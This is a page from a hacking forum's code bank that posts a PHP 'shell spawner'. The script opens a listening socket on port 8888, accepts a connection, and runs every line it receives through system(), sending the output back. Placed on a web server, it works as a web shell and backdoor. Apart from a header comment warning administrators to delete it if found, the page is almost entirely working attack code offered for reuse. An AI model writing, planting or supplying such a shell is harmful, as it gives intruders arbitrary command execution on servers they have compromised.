Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Spawn PHP listener - PHP Code Bank


Spawn PHP listener
Spawn a shell listener using PHP netcat not required. Output is on the page cause I'm no php buff.
                <?PHP
/*
Name: Simple php shell
Date: 04/08/2010
Author: wolfmankurd
URL: http://www.hellboundhackers.org/code/spawn-php-listener-1595_php.html
Note:
        This script is dangerous. If you find this on your server without knowledge of how it got there delete it immediately
and have a security professional look into the matter.
        It has nothing to do with me, this script and others like it are simple to make and freely available.
        For an "enemies perspective" education in the matter try http://www.hellboundhackers.org
*/
?>
<html>
<head>
<title>Wolf's php shell spawner</title>
</head>
<body bgcolor="black">
<font color="white">
<?PHP
$host="0.0.0.0";
$port=8888;

echo "Creating socket...";
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("FAILED");
echo "<font color=green>ok</font><br/>";

echo "Binding to 0.0.0.0:$port...";
$result = socket_bind($socket, $host, $port) or die("FAILED");
echo "<font color=green>ok</font><br/>";

echo "Listening for connection...";
$result = socket_listen($socket, 3) or die("FAILED");
echo "<font color=green>ok</font><br/>";


$spawn = socket_accept($socket) or die("FAILED");

while ($input!="QUIT"){
$input = socket_read($spawn, 1024);

echo "<pre>#$input<br/>";
$output = system($input);
$output.="\r\n";
echo "</pre><br/>";

socket_write($spawn, $output, strlen ($output));
}
socket_close($spawn);
socket_close($socket);

?>
</font>
</body>
</head>
            
Comments
Sorry but there are no comments to display